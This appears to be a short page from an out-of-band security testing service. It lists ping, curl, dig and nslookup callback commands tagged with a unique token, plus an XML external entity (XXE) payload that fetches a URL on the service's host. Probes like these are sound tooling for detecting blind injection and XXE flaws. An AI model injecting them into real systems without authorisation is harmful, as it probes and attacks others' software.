$ ping -c1 -p 00ecd03c925dc0aaa9fb99604bbc2000 unhack.ca
 

$ curl http://unhack.ca/p/ecd03c925dc0aaa9fb99604bbc20
 

$ dig ecd03c925dc0aaa9fb99604bbc20 @unhack.ca
 

$ dig ecd03c925dc0aaa9fb99604bbc20.ns.unhack.ca
 

C:\> nslookup ecd03c925dc0aaa9fb99604bbc20 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ecd03c925dc0aaa9fb99604bbc20">]>
    <foo>&xxe;</foo>